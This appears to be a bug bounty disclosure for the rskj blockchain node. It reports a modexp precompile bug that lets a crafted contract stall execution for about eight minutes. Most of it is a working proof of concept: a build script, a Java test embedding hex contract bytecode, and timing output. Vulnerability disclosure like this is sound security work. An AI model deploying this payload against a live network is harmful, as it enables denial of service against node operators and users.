Crafted smart contract can take 8 minutes to execute due to bug in modexp precompile.

## Summary: A bug in the modexp precompile can cause long stalls. ## Steps To Reproduce: Tested on Linux x64. ```sh #!/bin/bash wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz export JAVA_HOME=$(realpath jdk-11.0.2/) git clone --depth 1 https://github.com/rsksmart/rskj.git cd rskj/ ./configure.sh echo """ package co.rsk.vm; import org.ethereum.config.blockchain.upgrades.ActivationConfig; import co.rsk.config.TestSystemProperties; import co.rsk.config.VmConfig; import org.ethereum.vm.*; import org.ethereum.core.BlockFactory; import org.ethereum.core.BlockTxSignatureCache; import org.ethereum.core.ReceivedTxSignatureCache; import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl; import java.util.HashSet; import org.ethereum.vm.program.Program; import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest; import javax.xml.bind.DatatypeConverter; import org.junit.jupiter.api.Test; public class Poc { @Test void testPoc() { TestSystemProperties config = new TestSystemProperties(); PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache())); BlockFactory blockFactory = new BlockFactory(config.getActivationConfig()); VmConfig vmConfig = config.getVmConfig(); ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl(); ActivationConfig.ForBlock activations = ActivationConfigsForTest.fingerroot500().forBlock(0); byte[] code = DatatypeConverter.parseHexBinary(\"3332335b59313660d53d601c30303030333333333d601c30303030333333333333321b1b1b1b325b593136605858425a606052015952601d52609880808060006000600536f1603d3333321b1b1b1b32365b3159605858425a606052015952601d52609880808060006000600536f1603d313880813b60003960006000f50a30303030303030\"); invoke.setGas(1000 * 1000 * 5); VM vm = new VM(vmConfig, precompiledContracts); Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke,null, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache())); for (int k = 0; k < 250; k++) { vm.step(program); } } } """>rskj-core/src/test/java/co/rsk/vm/Poc.java # This will likely fail due to a java.lang.OutOfMemoryError exception time ./gradlew test --tests co.rsk.vm.Poc.testPoc # Increase test heap size sed -i 's/Xmx3G/Xmx10G/g' rskj-core/build.gradle # Run again time ./gradlew test --tests co.rsk.vm.Poc.testPoc ``` Output: ``` real 8m23.429s user 0m3.147s sys 0m0.265s ``` ## Impact Stall the network.